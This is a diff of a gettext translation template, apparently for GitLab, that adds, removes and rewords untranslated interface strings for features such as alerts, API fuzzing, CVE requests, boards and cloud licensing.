+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1537,6 +1582,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1582,6 +1636,24 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1699,9 +1771,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1711,13 +1780,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1792,9 +1858,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1813,13 +1876,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1831,6 +1906,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1843,16 +1921,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1861,16 +1942,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1903,9 +1984,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -2083,6 +2161,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -2113,15 +2194,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -2167,6 +2239,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2242,6 +2317,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2347,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2299,6 +2374,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2317,6 +2395,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2410,6 +2491,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2437,6 +2521,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2578,9 +2665,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -3016,6 +3100,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3067,6 +3157,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3229,6 +3322,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3244,13 +3343,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3259,25 +3361,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3292,24 +3397,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3319,6 +3436,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3328,9 +3448,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3367,7 +3484,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3457,9 +3577,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3523,6 +3640,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3550,6 +3670,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3607,6 +3730,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3730,6 +3856,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3742,9 +3871,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3835,7 +3961,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3973,9 +4099,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -4177,6 +4300,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4216,6 +4342,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4225,6 +4354,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4234,9 +4366,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4378,6 +4507,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4438,6 +4573,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4480,13 +4621,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4921,6 +5062,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -5023,6 +5167,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -5041,6 +5188,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -5065,7 +5215,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -5203,6 +5353,9 @@ msgstr[5] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5233,6 +5386,15 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5242,9 +5404,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5263,6 +5422,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5272,6 +5434,15 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5284,6 +5455,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5314,6 +5494,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5620,15 +5803,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5647,6 +5821,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5740,6 +5920,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5836,6 +6037,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5956,6 +6160,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5983,6 +6190,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5992,12 +6202,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6640,6 +6856,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6673,6 +6892,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6706,9 +6967,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6727,12 +6985,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7282,6 +7549,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7993,6 +8263,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -8056,6 +8329,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8341,6 +8617,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8377,9 +8656,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8464,6 +8740,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8482,6 +8761,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8551,6 +8833,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8773,6 +9058,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8818,9 +9106,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8878,9 +9163,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8935,12 +9229,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8974,6 +9277,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8983,21 +9289,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -9142,9 +9442,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -9166,6 +9463,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9319,6 +9619,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9382,6 +9685,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9688,8 +9994,14 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9784,6 +10096,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9853,6 +10168,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
